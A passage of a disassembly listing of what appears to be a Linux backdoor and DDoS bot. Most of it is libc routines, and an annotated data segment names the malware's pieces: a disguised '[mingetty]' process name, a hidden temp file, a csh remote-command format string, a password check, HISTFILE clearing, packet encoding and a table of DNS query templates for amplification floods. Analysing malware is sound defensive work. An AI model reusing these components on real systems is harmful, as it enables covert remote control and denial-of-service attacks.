		call	xdr_free
		mov	eax, ds:dword_807EB8C
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		push	ebx
		mov	eax, [ebp+var_C]
		push	eax
		push	edi
		mov	ecx, [ebp+var_1C]
		push	ecx
		mov	eax, ds:dword_807EB90
		call	eax
		mov	esi, eax
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+arg_4]
		mov	[edx], ecx
		add	esp, 20h
		push	edi
		call	free
		push	ebx
		call	free
		add	esp, 8
		test	esi, esi
		jz	loc_80668C8
		jmp	short loc_80669EE
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80669C8:				; CODE XREF: sub_80668AC+7Aj
		mov	edx, [ebp+var_20]
		push	edx
		push	offset sub_80666A0
		call	xdr_free
		jmp	short loc_80669EE
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80669D8:				; CODE XREF: sub_80668AC+80j
		mov	ecx, [ebp+var_20]
		push	ecx
		push	offset sub_80666A0
		call	xdr_free
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+arg_4]
		mov	[edx], ecx

loc_80669EE:				; CODE XREF: sub_80668AC+11Aj
					; sub_80668AC+12Aj
		mov	eax, 1

loc_80669F3:				; CODE XREF: sub_80668AC+49j
					; sub_80668AC+66j
		lea	esp, [ebp+var_2C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_80668AC	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+8]
		mov	eax, [ebp+0Ch]
		push	4
		push	eax
		push	edx
		call	sub_8065120
		test	eax, eax
		jz	short loc_8066A20
		mov	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8066A20:				; CODE XREF: .text:08066A14j
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+8]
		mov	eax, [ebp+0Ch]
		push	eax
		push	edx
		call	sub_806510C
		test	eax, eax
		jz	short loc_8066A48
		mov	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8066A48:				; CODE XREF: .text:08066A3Aj
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
; [000000CB BYTES: COLLAPSED FUNCTION bindresvport. PRESS KEYPAD "+" TO	EXPAND]
		align 4
; [000000A6 BYTES: COLLAPSED FUNCTION _IO_file_doallocate. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000037 BYTES: COLLAPSED FUNCTION _nl_postload_ctype. PRESS	KEYPAD "+" TO EXPAND]
		align 4
; [00000441 BYTES: COLLAPSED FUNCTION _nl_load_locale. PRESS KEYPAD "+"	TO EXPAND]
		align 4
; [00000053 BYTES: COLLAPSED FUNCTION _nl_free_locale. PRESS KEYPAD "+"	TO EXPAND]
		align 4
; [000000B6 BYTES: COLLAPSED FUNCTION authnone_create. PRESS KEYPAD "+"	TO EXPAND]
		align 4
; [0000002D BYTES: COLLAPSED FUNCTION sub_806714C. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000007 BYTES: COLLAPSED FUNCTION sub_806717C. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [0000000C BYTES: COLLAPSED FUNCTION sub_8067184. PRESS KEYPAD	"+" TO EXPAND]
; [00000009 BYTES: COLLAPSED FUNCTION sub_8067190. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000007 BYTES: COLLAPSED FUNCTION sub_806719C. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [000000A4 BYTES: COLLAPSED FUNCTION xdr_reference. PRESS KEYPAD "+" TO EXPAND]

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8067248	proc near		; CODE XREF: sub_8066710+25p
					; sub_8066754+25p

var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	edi, [ebp+arg_C]
		cmp	dword ptr [ebx], 0
		setnz	al
		and	eax, 0FFh
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_8065098
		add	esp, 8
		test	eax, eax
		jnz	short loc_8067280
		xor	eax, eax
		jmp	short loc_806729F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8067280:				; CODE XREF: sub_8067248+2Fj
		cmp	[ebp+var_4], 0
		jz	short loc_8067294
		push	edi
		mov	edx, [ebp+arg_8]
		push	edx
		push	ebx
		push	esi
		call	xdr_reference
		jmp	short loc_806729F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8067294:				; CODE XREF: sub_8067248+3Cj
		mov	dword ptr [ebx], 0
		mov	eax, 1

loc_806729F:				; CODE XREF: sub_8067248+33j
					; sub_8067248+4Aj
		lea	esp, [ebp+var_10]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8067248	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
; [00000031 BYTES: COLLAPSED FUNCTION __isatty.	PRESS KEYPAD "+" TO EXPAND]
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_80672E0	proc near		; CODE XREF: __isatty+15p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		push	eax
		push	5401h
		push	edx
		call	__libc_ioctl
		mov	esp, ebp
		pop	ebp
		retn
sub_80672E0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 8
; [00000044 BYTES: COLLAPSED FUNCTION stpcpy. PRESS KEYPAD "+" TO EXPAND]

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8067344	proc near		; CODE XREF: _itoa+6Bp	_itoa+B3p ...

var_30		= byte ptr -30h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_1C], eax
		mov	edi, [ebp+arg_C]
		mov	[ebp+var_4], ebx
		mov	ebx, esi
		test	edi, edi
		jnz	short loc_80673A8
		cmp	eax, ebx
		jbe	short loc_8067378
		mov	eax, [ebp+var_4]
		mov	edx, ebx
		div	[ebp+var_1C]
		mov	edi, eax
		jmp	loc_8067434
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8067378:				; CODE XREF: sub_8067344+23j
		cmp	[ebp+var_1C], 0
		jnz	short loc_806738D
		mov	edx, 1
		mov	eax, edx
		xor	edx, edx
		div	[ebp+var_1C]
		mov	[ebp+var_1C], eax

loc_806738D:				; CODE XREF: sub_8067344+38j
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+var_1C]
		mov	ebx, edx
		mov	esi, eax
		mov	eax, [ebp+var_4]
		div	[ebp+var_1C]
		mov	edi, eax
		jmp	loc_8067436
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80673A8:				; CODE XREF: sub_8067344+1Fj
		cmp	edi, ebx
		jbe	short loc_80673B4

loc_80673AC:				; CODE XREF: sub_8067344+87j
		xor	edi, edi
		jmp	loc_8067434
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80673B4:				; CODE XREF: sub_8067344+66j
		bsr	edx, edi
		xor	dl, 1Fh
		mov	[ebp+var_24], edx
		test	edx, edx
		jnz	short loc_80673D4
		cmp	ebx, edi
		ja	short loc_80673CD
		mov	edx, [ebp+var_1C]
		cmp	[ebp+var_4], edx
		jb	short loc_80673AC

loc_80673CD:				; CODE XREF: sub_8067344+7Fj
		mov	edi, 1
		jmp	short loc_8067434
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80673D4:				; CODE XREF: sub_8067344+7Bj
		mov	esi, 20h
		sub	esi, [ebp+var_24]
		mov	ecx, [ebp+var_24]
		shl	edi, cl
		mov	[ebp+var_8], edi
		mov	eax, [ebp+var_1C]
		mov	ecx, esi
		shr	eax, cl
		or	edi, eax
		mov	ecx, [ebp+var_24]
		shl	[ebp+var_1C], cl
		mov	eax, ebx
		mov	ecx, esi
		shr	eax, cl
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_24]
		shl	ebx, cl
		mov	[ebp+var_10], ebx
		mov	eax, [ebp+var_4]
		mov	ecx, esi
		shr	eax, cl
		or	ebx, eax
		mov	ecx, [ebp+var_24]
		shl	[ebp+var_4], cl
		mov	eax, ebx
		mov	edx, [ebp+var_C]
		div	edi
		mov	ebx, edx
		mov	edi, eax
		mov	eax, [ebp+var_1C]
		mul	edi
		mov	[ebp+var_24], edx
		mov	esi, eax
		cmp	edx, ebx
		ja	short loc_8067433
		jnz	short loc_8067434
		cmp	[ebp+var_4], esi
		jnb	short loc_8067434

loc_8067433:				; CODE XREF: sub_8067344+E6j
		dec	edi

loc_8067434:				; CODE XREF: sub_8067344+2Fj
					; sub_8067344+6Aj ...
		xor	esi, esi

loc_8067436:				; CODE XREF: sub_8067344+5Cj
		mov	[ebp+var_18], edi
		mov	[ebp+var_14], esi
		mov	eax, [ebp+var_18]
		mov	edx, [ebp+var_14]
		lea	esp, [ebp+var_30]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8067344	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_806744C	proc near		; CODE XREF: _itoa+4Fp	_itoa+97p ...

var_34		= byte ptr -34h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_C]
		mov	esi, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_20], eax
		test	ebx, ebx
		jnz	short loc_80674A8
		cmp	edi, eax
		jbe	short loc_8067478
		mov	eax, esi
		mov	edx, [ebp+var_20]
		div	edi
		jmp	short loc_8067497
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8067478:				; CODE XREF: sub_806744C+1Ej
		test	edi, edi
		jnz	short loc_8067489
		mov	edx, 1
		mov	eax, edx
		xor	edx, edx
		div	edi
		mov	edi, eax

loc_8067489:				; CODE XREF: sub_806744C+2Ej
		mov	eax, [ebp+var_20]
		xor	edx, edx
		div	edi
		mov	[ebp+var_20], edx
		mov	eax, esi
		div	edi

loc_8067497:				; CODE XREF: sub_806744C+27j
		mov	esi, edx
		mov	[ebp+var_10], esi
		mov	[ebp+var_C], 0
		jmp	loc_806758C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80674A8:				; CODE XREF: sub_806744C+1Aj
		cmp	[ebp+var_20], ebx
		jb	short loc_80674CD
		bsr	edx, ebx
		xor	dl, 1Fh
		mov	[ebp+var_14], edx
		test	edx, edx
		jnz	short loc_80674E8
		cmp	[ebp+var_20], ebx
		ja	short loc_80674C3
		cmp	esi, edi
		jb	short loc_80674CD

loc_80674C3:				; CODE XREF: sub_806744C+71j
		mov	edx, [ebp+var_20]
		sub	esi, edi
		sbb	edx, ebx
		mov	[ebp+var_20], edx

loc_80674CD:				; CODE XREF: sub_806744C+5Fj
					; sub_806744C+75j
		mov	[ebp+var_10], esi
		mov	ecx, [ebp+var_20]
		mov	[ebp+var_C], ecx
		mov	eax, [ebp+var_10]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_4], eax
		jmp	loc_8067598
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80674E8:				; CODE XREF: sub_806744C+6Cj
		mov	edx, 20h
		sub	edx, [ebp+var_14]
		mov	[ebp+var_18], edx
		mov	ecx, [ebp+var_14]
		shl	ebx, cl
		mov	[ebp+var_28], ebx
		mov	eax, edi
		mov	ecx, edx
		shr	eax, cl
		or	ebx, eax
		mov	ecx, [ebp+var_14]
		shl	edi, cl
		mov	eax, [ebp+var_20]
		mov	ecx, edx
		shr	eax, cl
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+var_20]
		mov	ecx, [ebp+var_14]
		shl	eax, cl
		mov	[ebp+var_28], eax
		mov	eax, esi
		mov	ecx, edx
		shr	eax, cl
		mov	edx, [ebp+var_28]
		or	edx, eax
		mov	[ebp+var_20], edx
		mov	ecx, [ebp+var_14]
		shl	esi, cl
		mov	eax, [ebp+var_20]
		mov	edx, [ebp+var_1C]
		div	ebx
		mov	[ebp+var_20], edx
		mov	[ebp+var_28], eax
		mul	edi
		mov	[ebp+var_24], edx
		mov	[ebp+var_28], eax
		mov	ecx, [ebp+var_20]
		cmp	edx, ecx
		ja	short loc_8067553
		jnz	short loc_8067563
		cmp	eax, esi
		jbe	short loc_8067563

loc_8067553:				; CODE XREF: sub_806744C+FFj
		mov	eax, [ebp+var_24]
		mov	edx, [ebp+var_28]
		sub	edx, edi
		sbb	eax, ebx
		mov	[ebp+var_28], edx
		mov	[ebp+var_24], eax

loc_8067563:				; CODE XREF: sub_806744C+101j
					; sub_806744C+105j
		mov	ecx, [ebp+var_20]
		sub	esi, [ebp+var_28]
		sbb	ecx, [ebp+var_24]
		mov	[ebp+var_20], ecx
		mov	eax, [ebp+var_20]
		mov	ecx, [ebp+var_18]
		shl	eax, cl
		mov	ecx, [ebp+var_14]
		shr	esi, cl
		mov	[ebp+var_24], esi
		or	eax, esi
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_20]
		shr	eax, cl
		mov	[ebp+var_C], eax

loc_806758C:				; CODE XREF: sub_806744C+57j
		mov	edx, [ebp+var_10]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		mov	[ebp+var_4], edx

loc_8067598:				; CODE XREF: sub_806744C+96j
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_4]
		lea	esp, [ebp+var_34]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_806744C	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


call_ctors	proc near		; CODE XREF: atentry_procp
		push	ebx
		mov	ebx, offset ctors_addr
		cmp	ds:ctors_addr, 0FFFFFFFFh
		jz	short loc_80675C4
		nop

loc_80675B8:				; CODE XREF: call_ctors+1Aj
		mov	eax, [ebx]
		call	eax
		add	ebx, 0FFFFFFFCh
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	short loc_80675B8

loc_80675C4:				; CODE XREF: call_ctors+Dj
		pop	ebx
		retn
call_ctors	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
_text		ends

; ммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

; Segment type:	Pure data
; Segment permissions: Read
__libc_subinit	segment	dword public 'CONST' use32
		assume cs:__libc_subinit
		;org 80675CCh
off_80675CC	dd offset sub_8056D3C	; DATA XREF: __libc_init+Co
					; __libc_init+22o ...
__libc_subinit	ends

; ммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

; Segment type:	Pure code
; Segment permissions: Read/Execute
_fini		segment	para public 'CODE' use32
		assume cs:_fini
		;org 80675D0h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


atexit_proc	proc near		; DATA XREF: start+44o	__libc_init+11o ...
		call	call_dtors
		retn	0
atexit_proc	endp

_fini		ends

; ммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

; Segment type:	Pure data
; Segment permissions: Read
_rodata		segment	dword public 'CONST' use32
		assume cs:_rodata
		;org 80675D8h
aMin		db '[min'               ; DATA XREF: real_start+76r
aGett		db 'gett'               ; DATA XREF: real_start+7Dr
aY		db 'y]'                 ; DATA XREF: real_start+85r
aNullByte	db 0			; DATA XREF: real_start+8Fr
root_path	db  2Fh	; /		; DATA XREF: real_start+D8o
		db    0	;  
crypto_key	db 0			; DATA XREF: real_start+228r
					; packet_encode+Fr ...
aTmp_hj237349	db '/tmp/.hj237349',0   ; DATA XREF: real_start+4BFo
					; real_start+4E7o ...
aBinCshFCS1S21	db '/bin/csh -f -c "%s" 1> %s 2>&1',0 ; DATA XREF: real_start+4CBo
aRb		db 'rb',0               ; DATA XREF: real_start+4E2o
aTfojg		db 'TfOjG',0            ; DATA XREF: real_start+8D6o
wrong_pass	db 0FFh			; DATA XREF: real_start+8EBo
		db 0FBh	; Ш
		db    1	;  
		db    0	;  
aSbinBinUsrSbin	db '/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin/:.',0
					; DATA XREF: real_start+93Co
aPath		db 'PATH',0             ; DATA XREF: real_start+941o
aHistfile	db 'HISTFILE',0         ; DATA XREF: real_start+94Eo
aLinux		db 'linux',0            ; DATA XREF: real_start+95Ao
aTerm		db 'TERM',0             ; DATA XREF: real_start+95Fo
aSh		db 'sh',0               ; DATA XREF: real_start+96Bo
aBinSh		db '/bin/sh',0          ; DATA XREF: real_start+970o
aBinCshFCS	db '/bin/csh -f -c "%s" ',0 ; DATA XREF: real_start+A06o
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: send_packet_sig3+97o
					; sub_8049564+CDo ...
		db  8Dh	; █
		db  36h	; 6
dns_queries_sizes dd 15h		; DATA XREF: dns_ddos+33o
					; sub_8049564+57o
		dd 15h
		dd 14h
		dd 15h
		dd 15h
		dd 19h
		dd 14h
		dd 14h
		dd 14h
dns_queries	db 47h			; DATA XREF: dns_ddos+50o
					; sub_8049564+6Ao
					; each structure is 50 bytes
		db  6Eh	; n
		db    1	;  
		db    0	;  
		db    0	;  
		db    1	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    3	;  
		db  63h	; c
		db  6Fh	; o
		db  6Dh	; m
		db    0	;  
		db    0	;  
		db    6	;  
		db    0	;  
		db    1	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  47h	; G
		db  6Eh	; n
		db    1	;  
		db    0	;  
		db    0	;  
		db    1	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    3	;  
		db  6Eh	; n
		db  65h	; e
		db  74h	; t
		db    0	;  
		db    0	;  
		db    6	;  
		db    0	;  
		db    1	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  47h	; G
		db  6Eh	; n
		db    1	;  
		db    0	;  
		db    0	;  
		db    1	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    3	;  
		db  64h	; d
		db  65h	; e
		db    0	;  
		db    0	;  
		db    6	;  
		db    0	;  
		db    1	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  47h	; G
		db  6Eh	; n
		db    1	;  
		db    0	;  
		db    0	;  
		db    1	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    3	;  
		db  65h	; e
		db  64h	; d
		db  75h	; u
		db    0	;  
		db    0	;  
		db    6	;  
		db    0	;  
		db    1	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  47h	; G
		db  6Eh	; n
		db    1	;  
		db    0	;  
		db    0	;  
		db    1	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    3	;  
		db  6Fh	; o
		db  72h	; r
		db  67h	; g
		db    0	;  
		db    0	;  
		db    6	;  
		db    0	;  
		db    1	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  47h	; G
		db  6Eh	; n
		db    1	;  
		db    0	;  
		db    0	;  
		db    1	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    3	;  
		db  75h	; u
		db  73h	; s
		db  63h	; c
		db    3	;  
		db  65h	; e
		db  64h	; d
		db  75h	; u
		db    0	;  
		db    0	;  
		db    6	;  
		db    0	;  
		db    1	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  47h	; G
		db  6Eh	; n
		db    1	;  
		db    0	;  
		db    0	;  
		db    1	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    3	;  
		db  65h	; e
		db  73h	; s
		db    0	;  
		db    0	;  
		db    6	;  
		db    0	;  
		db    1	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  47h	; G
		db  6Eh	; n
		db    1	;  
		db    0	;  
		db    0	;  
		db    1	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    3	;  
		db  67h	; g
		db  72h	; r
		db    0	;  
		db    0	;  
		db    6	;  
		db    0	;  
		db    1	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db  47h	; G
		db  6Eh	; n
		db    1	;  
		db    0	;  
		db    0	;  
		db    1	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    3	;  
		db  69h	; i
		db  65h	; e
		db    0	;  
		db    0	;  
		db    6	;  
		db    0	;  
		db    1	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
		db    0	;  
aU_U_U_U	db '%u.%u.%u.%u',0      ; DATA XREF: sub_8049D40+2C8o
aC		db '%c',0               ; DATA XREF: packet_encode+1Fo
aCS		db '%c%s',0             ; DATA XREF: packet_decode+9Bo
aGethostby_ge_1	db 'gethostby*.getanswer: asked for "%s", got "%s"',0
					; DATA XREF: sub_804B800+48Eo
aResolv_host_co	db 'RESOLV_HOST_CONF',0 ; DATA XREF: init_services+1Do
aEtcHost_conf	db '/etc/host.conf',0   ; DATA XREF: init_services+34o
aR		db 'r',0                ; DATA XREF: init_services+3Eo
					; _setprotoent+Co ...
aOrder		db 'order',0            ; DATA XREF: init_services+125o
					; init_services+183o ...
asc_806791B	db ' ',9,0              ; DATA XREF: init_services+163o
					; init_services+3CCo ...
aResolvSSComman	db 'resolv+: %s: "%s" command incorrectly formatted.',0Ah,0
					; DATA XREF: init_services+18Fo
					; init_services+298o ...
asc_8067950	db ' ,;:',0             ; DATA XREF: init_services+1AFo
					; init_services+A77o ...
aBind		db 'bind',0             ; DATA XREF: init_services+1C8o
					; init_services+2ECo ...
aHosts		db 'hosts',0            ; DATA XREF: init_services+216o
					; init_services+2E7o ...
aNis		db 'nis',0              ; DATA XREF: init_services+252o
					; init_services+2E2o ...
aResolvSIsAnInv	db 'resolv+: "%s" is an invalid keyword',0Ah,0
					; DATA XREF: init_services+2BDo
					; init_services+8B5o ...
aResolvValidKey	db 'resolv+: valid keywords are: %s, %s and %s',0Ah,0
					; DATA XREF: init_services+2F1o
aResolvSearchOr	db 'resolv+: search order not specified or unrecognized keyword,'
					; DATA XREF: init_services+35Fo
		db ' host resolution will fail.',0Ah,0
aMulti		db 'multi',0            ; DATA XREF: init_services+38Eo
					; init_services+4B8o ...
